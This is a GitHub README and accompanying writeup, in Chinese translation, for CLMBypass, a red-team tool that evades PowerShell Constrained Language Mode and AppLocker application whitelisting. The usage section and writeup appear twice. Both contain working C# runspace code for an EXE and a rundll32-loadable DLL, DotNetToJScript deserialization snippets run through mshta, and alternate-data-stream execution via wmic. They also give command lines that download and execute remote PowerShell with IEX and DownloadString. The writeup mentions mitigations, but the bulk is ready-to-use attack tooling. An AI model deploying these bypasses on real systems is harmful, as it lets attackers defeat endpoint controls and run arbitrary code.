ropbear/CLMBypass
GitHub: ropbear/CLMBypass
通过创建独立 PowerShell runspace 绕过受限语言模式和 AppLocker 白名单限制的多载体安全工具。
Stars: 29 | Forks: 5
# 目录
- [用法](#Usage)
- [文章](#Writeup)
# 用法 基于 [SecJuice](https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/) 的文章,绕过 PowerShell 的 Constrained Language Mode。如果正在使用 AppLocker,还附带了一个 stager,使用了 [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 和 [mshta.exe AWL bypass](https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-mshta-exe/)。 ### [CLMBypass.dll](https://github.com/stonepresto/CLMBypass/blob/master/src/DLLProgram.cs) - 使用 DllExport 库和格式正确的函数,可以在具有 .NET Framework 支持的情况下使用 `rundll32.exe` 执行 DLL,这允许使用 `System.Managment.Automation` - **用法:** `rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://localhost/somescript.ps1');` ### [CLMBypass.hta](https://github.com/stonepresto/CLMBypass/blob/master/src/CLMBypass.hta) - WScript.Shell 创建一个新的 runspace - `payload.ps1` 被下载并在 FullLanguage 模式下执行 - **用法:** `mshta.exe http://localhost/CLMBypass.hta` ### [CLMBypass.exe](https://github.com/stonepresto/CLMBypass/blob/master/src/Program.cs) - 编译为 PE32 .NET Framework 4.0 - **用法:** `.\CLMBypass.exe "IEX(New-Object Net.WebClient).DownloadString('http://localhost/somescript.ps1')"`
# 文章 ## 探索绕过 Windows 安全措施的方法 #### 前言 致力于 Microsoft Windows 的安全团队为试图锁定 Active Directory 环境的域管理员提供了许多选项。这主要通过 Group Policy Objects (GPOs) 来实现,它限制普通用户在特定主机上可以执行的操作,并在整个域中传播。网络所有者采取的两个最常见措施是使用 AppLocker 和受限的 PowerShell 会话。那么问题来了,攻击者如何绕过这些措施? 请注意,Microsoft Windows 安全团队并不认为这些措施是完全的限制,只是缓解特定威胁模型的方法。还应注意,所有这些方法都是开源的且属于公共知识,因此应该预期网络上的任何攻击者都具备以下能力。 ### 受限的 PowerShell - Constrained Language Mode (CLM) 如前所述,网络所有者采取的主要缓解措施之一是限制 PowerShell 会话可以完成的任务。Constrained Language Mode 禁止诸如 COM 对象、许多 .NET 对象、类以及攻击者可能发现有用的许多其他工具。具体来说,这缓解了组织内部有人成为脚本小子并使用开源工具(如 [Kerberoast](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1) 或 [Mimikatz](https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1))针对主机或网络提升权限并在组织中制造破坏的威胁。 #### Method 1.1: 简单的胜利 第一种方法当然是尝试简单的事情,比如... ... 将 PowerShell 降级到版本 2, ``` C:\> powershell.exe -version 2 ``` ... 使用 COM 对象创建新的 runspace, ``` New-Object -ComObject WScript.Shell ``` ... 利用旧版 `rundll32.exe` 中的漏洞, ``` rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("Hello from JS :D"); ``` ... 甚至进行 [路径操纵](https://oddvar.moe/2018/10/06/temporary-constrained-language-mode-in-applocker/)。 然而,通过卸载旧版本的 PowerShell、在 PoSh 会话中禁止更多命令以及为所有环境强制执行无法更改的标准路径,这些很容易被缓解。容易修复意味着可能已经被缓解,所以是时候继续前进了。 #### Method 1.2: 编写代码?! :scream: 所以主机的加固程度比你预期的要高一些。是时候在 Visual Studio 中动手,开始利用 .NET Framework 为你所用了。由于 Portable Executables 可以编译其所有依赖项,我们可以利用 `System.Management.Automation` 等库来创建新的 PowerShell runspace。 ``` using System; using System.Runtime.InteropServices; using System.Collections.Generic; using System.Linq; using System.Text; namespace CLMBypass { public class CLMBypass { public void Main(string arg) { System.Management.Automation.Runspaces.Runspace run = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); run.Open(); System.Management.Automation.PowerShell shell = System.Management.Automation.PowerShell.Create(); shell.Runspace = run; shell.AddScript(arg); shell.Invoke(); run.Close(); } } } ``` 在引用了 _正确版本_ 的 `System.Management.Automation.dll` 的情况下编译此代码(如果你是为 .NET Framework 4.0 等旧版本编译,则需要手动引用此库而不是使用 NuGet),允许在不同的 [Runspace](https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspace?view=pscore-6.2.0) 下创建新的 runspace。这允许你直接与 PowerShell 运行的“引擎”交互,而不是使用诸如 `powershell.exe` 之类的主机应用程序。因此,不会应用对 `powershell.exe` 的限制! 不幸的是,很少有这么简单的情况。由于上述解决方案必须经过编译,因此很容易通过在主机上强制执行 AppLocker 并限制可运行的 可执行文件 来阻止。这引出了第二轮,绕过应用程序白名单! ### AppLocker 和应用程序白名单 (AWL) 为编写整整 _二十五_ 行代码所付出的所有努力刚刚被挫败了…… _太可怕了_。不过别担心,只要 AppLocker 不是太严格,仍然有许多方法可以绕过它。更多内容将在结论中介绍。 #### Method 2.1: _更多_ 简单的胜利 攻击者绕过 AppLocker 的最简单方法就是基于主机配置不当。这里的经验法则是,如果 `C:\Windows\` 下的(几乎)任何目录是可写的,并且 GPO 仅检查文件路径以验证 可执行文件,那么一个简单的胜利就是将所需的 payload 复制到可写目录。另一个简单的胜利是 [Alternate Data Streams](https://hitco.at/blog/howto-prevent-bypassing-applocker-using-alternate-data-streams/) 和通过受人喜爱的 `wmic` 执行... ``` C:\> type C:\path\to\payload.exe > C:\Program Files (x86)\SomeApp\logs:payload.exe C:\> wmic process call create '"%CD%\logs:payload.exe"' ``` 但如前所述,这些很容易受到限制,通常是不够的,我们需要更强大的东西。 #### Method 2.2: JavaScript 恶作剧 好吧,事实证明 Microsoft Windows 喜欢向后兼容。这意味着包含许多不经常使用的二进制文件,包括属于 [已弃用](https://www.microsoft.com/en-us/windowsforbusiness/end-of-ie-support) 的 Internet Explorer 的 `mshta.exe`。如果 GPO 没有阻止使用脚本,使用 [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 很容易将 可执行文件 JavaScript 化,方法是创建序列化数据,将其编码为 base64,然后反序列化并在将其“格式化”为二进制后运行。[这里](https://github.com/stonepresto/CLMBypass/blob/master/src/CLMBypass.js) 是一个例子,但相关的片段如下... ``` var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); ``` 这个脚本可以被 `mshta.exe` 在 `.hta` 文件中标记并运行,从而执行二进制文件。稍微多做一点工作,你甚至可以传递参数! 同样,通过禁用主机上的脚本执行,这很容易得到缓解。这种缓解几乎消除了所有利用 JavaScript 或 Visual Basic 的攻击向量。 #### Method 2.3: DLL 基本上就是 EXE,对吧? 如果到目前为止没有任何效果,那么很可能存在相当严格的 AppLocker 策略。然而,在配置中还有最后一个相对容易利用的漏洞。在配置 AppLocker 时,有一个选项可以限制主机上可以运行的 DLL,仅限某些 DLL,例如 `C:\Windows\` 或 `C:\Program Files\` 中的那些。然而,因为这可能会根据正在运行的软件而导致相当大的性能损失,许多网络管理员不强制执行此规则。这开启了一个攻击向量。 归根结底,Dynamically Linked Libraries 仍然是可执行的二进制文件,只是它们没有 PE 的某些特征,例如入口点、自己的进程或线程。然而,无论出于什么原因,存在 `rundll32.exe` 可以调用指定的入口点,并期望某些参数。有关这方面的更多信息可以在 [这里](https://support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface) 找到。如果构造的函数具有正确的参数并通过 [DllExport](https://github.com/3F/DllExport) 公开,那么就可以使用 `rundll32.exe` 调用 DLL 并向其传递参数。 ``` using System; using System.Runtime.InteropServices; namespace CLMBypass { class Program { [DllExport("Run", CallingConvention = CallingConvention.StdCall)] public static void Run(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) { System.Management.Automation.Runspaces.Runspace run = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); run.Open(); System.Management.Automation.PowerShell shell = System.Management.Automation.PowerShell.Create(); shell.Runspace = run; shell.AddScript(lpszCmdLine); shell.Invoke(); run.Close(); } } } ``` 上面的代码一旦编译为类库,可以这样使用... ``` C:\> rundll32.exe C:\path\to\payload.dll,Run "IEX(Get-Content('payload.ps1'))" ``` 这将在与 DLL 创建的 runspace 不同的 runspace 中执行 payload.ps1。 当然,阻止机制是限制主机上可以运行哪些 DLL,但如前所述,由于担心性能下降,这通常不会被实施。 如果 DLL 受到限制,蓝队就已经成功缓解了大多数(如果不是全部)在主机上进行不受限制执行的 _简单_ 路径。
# 用法 基于 [SecJuice](https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/) 的文章,绕过 PowerShell 的 Constrained Language Mode。如果正在使用 AppLocker,还附带了一个 stager,使用了 [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 和 [mshta.exe AWL bypass](https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-mshta-exe/)。 ### [CLMBypass.dll](https://github.com/stonepresto/CLMBypass/blob/master/src/DLLProgram.cs) - 使用 DllExport 库和格式正确的函数,可以在具有 .NET Framework 支持的情况下使用 `rundll32.exe` 执行 DLL,这允许使用 `System.Managment.Automation` - **用法:** `rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://localhost/somescript.ps1');` ### [CLMBypass.hta](https://github.com/stonepresto/CLMBypass/blob/master/src/CLMBypass.hta) - WScript.Shell 创建一个新的 runspace - `payload.ps1` 被下载并在 FullLanguage 模式下执行 - **用法:** `mshta.exe http://localhost/CLMBypass.hta` ### [CLMBypass.exe](https://github.com/stonepresto/CLMBypass/blob/master/src/Program.cs) - 编译为 PE32 .NET Framework 4.0 - **用法:** `.\CLMBypass.exe "IEX(New-Object Net.WebClient).DownloadString('http://localhost/somescript.ps1')"`
# 文章 ## 探索绕过 Windows 安全措施的方法 #### 前言 致力于 Microsoft Windows 的安全团队为试图锁定 Active Directory 环境的域管理员提供了许多选项。这主要通过 Group Policy Objects (GPOs) 来实现,它限制普通用户在特定主机上可以执行的操作,并在整个域中传播。网络所有者采取的两个最常见措施是使用 AppLocker 和受限的 PowerShell 会话。那么问题来了,攻击者如何绕过这些措施? 请注意,Microsoft Windows 安全团队并不认为这些措施是完全的限制,只是缓解特定威胁模型的方法。还应注意,所有这些方法都是开源的且属于公共知识,因此应该预期网络上的任何攻击者都具备以下能力。 ### 受限的 PowerShell - Constrained Language Mode (CLM) 如前所述,网络所有者采取的主要缓解措施之一是限制 PowerShell 会话可以完成的任务。Constrained Language Mode 禁止诸如 COM 对象、许多 .NET 对象、类以及攻击者可能发现有用的许多其他工具。具体来说,这缓解了组织内部有人成为脚本小子并使用开源工具(如 [Kerberoast](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1) 或 [Mimikatz](https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1))针对主机或网络提升权限并在组织中制造破坏的威胁。 #### Method 1.1: 简单的胜利 第一种方法当然是尝试简单的事情,比如... ... 将 PowerShell 降级到版本 2, ``` C:\> powershell.exe -version 2 ``` ... 使用 COM 对象创建新的 runspace, ``` New-Object -ComObject WScript.Shell ``` ... 利用旧版 `rundll32.exe` 中的漏洞, ``` rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("Hello from JS :D"); ``` ... 甚至进行 [路径操纵](https://oddvar.moe/2018/10/06/temporary-constrained-language-mode-in-applocker/)。 然而,通过卸载旧版本的 PowerShell、在 PoSh 会话中禁止更多命令以及为所有环境强制执行无法更改的标准路径,这些很容易被缓解。容易修复意味着可能已经被缓解,所以是时候继续前进了。 #### Method 1.2: 编写代码?! :scream: 所以主机的加固程度比你预期的要高一些。是时候在 Visual Studio 中动手,开始利用 .NET Framework 为你所用了。由于 Portable Executables 可以编译其所有依赖项,我们可以利用 `System.Management.Automation` 等库来创建新的 PowerShell runspace。 ``` using System; using System.Runtime.InteropServices; using System.Collections.Generic; using System.Linq; using System.Text; namespace CLMBypass { public class CLMBypass { public void Main(string arg) { System.Management.Automation.Runspaces.Runspace run = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); run.Open(); System.Management.Automation.PowerShell shell = System.Management.Automation.PowerShell.Create(); shell.Runspace = run; shell.AddScript(arg); shell.Invoke(); run.Close(); } } } ``` 在引用了 _正确版本_ 的 `System.Management.Automation.dll` 的情况下编译此代码(如果你是为 .NET Framework 4.0 等旧版本编译,则需要手动引用此库而不是使用 NuGet),允许在不同的 [Runspace](https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspace?view=pscore-6.2.0) 下创建新的 runspace。这允许你直接与 PowerShell 运行的“引擎”交互,而不是使用诸如 `powershell.exe` 之类的主机应用程序。因此,不会应用对 `powershell.exe` 的限制! 不幸的是,很少有这么简单的情况。由于上述解决方案必须经过编译,因此很容易通过在主机上强制执行 AppLocker 并限制可运行的 可执行文件 来阻止。这引出了第二轮,绕过应用程序白名单! ### AppLocker 和应用程序白名单 (AWL) 为编写整整 _二十五_ 行代码所付出的所有努力刚刚被挫败了…… _太可怕了_。不过别担心,只要 AppLocker 不是太严格,仍然有许多方法可以绕过它。更多内容将在结论中介绍。 #### Method 2.1: _更多_ 简单的胜利 攻击者绕过 AppLocker 的最简单方法就是基于主机配置不当。这里的经验法则是,如果 `C:\Windows\` 下的(几乎)任何目录是可写的,并且 GPO 仅检查文件路径以验证 可执行文件,那么一个简单的胜利就是将所需的 payload 复制到可写目录。另一个简单的胜利是 [Alternate Data Streams](https://hitco.at/blog/howto-prevent-bypassing-applocker-using-alternate-data-streams/) 和通过受人喜爱的 `wmic` 执行... ``` C:\> type C:\path\to\payload.exe > C:\Program Files (x86)\SomeApp\logs:payload.exe C:\> wmic process call create '"%CD%\logs:payload.exe"' ``` 但如前所述,这些很容易受到限制,通常是不够的,我们需要更强大的东西。 #### Method 2.2: JavaScript 恶作剧 好吧,事实证明 Microsoft Windows 喜欢向后兼容。这意味着包含许多不经常使用的二进制文件,包括属于 [已弃用](https://www.microsoft.com/en-us/windowsforbusiness/end-of-ie-support) 的 Internet Explorer 的 `mshta.exe`。如果 GPO 没有阻止使用脚本,使用 [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 很容易将 可执行文件 JavaScript 化,方法是创建序列化数据,将其编码为 base64,然后反序列化并在将其“格式化”为二进制后运行。[这里](https://github.com/stonepresto/CLMBypass/blob/master/src/CLMBypass.js) 是一个例子,但相关的片段如下... ``` var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); ``` 这个脚本可以被 `mshta.exe` 在 `.hta` 文件中标记并运行,从而执行二进制文件。稍微多做一点工作,你甚至可以传递参数! 同样,通过禁用主机上的脚本执行,这很容易得到缓解。这种缓解几乎消除了所有利用 JavaScript 或 Visual Basic 的攻击向量。 #### Method 2.3: DLL 基本上就是 EXE,对吧? 如果到目前为止没有任何效果,那么很可能存在相当严格的 AppLocker 策略。然而,在配置中还有最后一个相对容易利用的漏洞。在配置 AppLocker 时,有一个选项可以限制主机上可以运行的 DLL,仅限某些 DLL,例如 `C:\Windows\` 或 `C:\Program Files\` 中的那些。然而,因为这可能会根据正在运行的软件而导致相当大的性能损失,许多网络管理员不强制执行此规则。这开启了一个攻击向量。 归根结底,Dynamically Linked Libraries 仍然是可执行的二进制文件,只是它们没有 PE 的某些特征,例如入口点、自己的进程或线程。然而,无论出于什么原因,存在 `rundll32.exe` 可以调用指定的入口点,并期望某些参数。有关这方面的更多信息可以在 [这里](https://support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface) 找到。如果构造的函数具有正确的参数并通过 [DllExport](https://github.com/3F/DllExport) 公开,那么就可以使用 `rundll32.exe` 调用 DLL 并向其传递参数。 ``` using System; using System.Runtime.InteropServices; namespace CLMBypass { class Program { [DllExport("Run", CallingConvention = CallingConvention.StdCall)] public static void Run(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) { System.Management.Automation.Runspaces.Runspace run = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace(); run.Open(); System.Management.Automation.PowerShell shell = System.Management.Automation.PowerShell.Create(); shell.Runspace = run; shell.AddScript(lpszCmdLine); shell.Invoke(); run.Close(); } } } ``` 上面的代码一旦编译为类库,可以这样使用... ``` C:\> rundll32.exe C:\path\to\payload.dll,Run "IEX(Get-Content('payload.ps1'))" ``` 这将在与 DLL 创建的 runspace 不同的 runspace 中执行 payload.ps1。 当然,阻止机制是限制主机上可以运行哪些 DLL,但如前所述,由于担心性能下降,这通常不会被实施。 如果 DLL 受到限制,蓝队就已经成功缓解了大多数(如果不是全部)在主机上进行不受限制执行的 _简单_ 路径。
**枚举并发挥创意!**
祝好!
stonepresto
标签:Active Directory, AI合规, AppLocker, CLM Bypass, DotNetToJScript, GPO, IPv6, mshta, .NET Framework, Plaso, PowerShell, RFI远程文件包含, rundll32, Runspace, Windows 安全, 代码执行, 安全绕过, 应用白名单, 提权, 数据可视化, 数据展示, 知识库安全, 私有化部署, 红队, 约束语言模式, 自定义脚本, 自定义脚本, 防御规避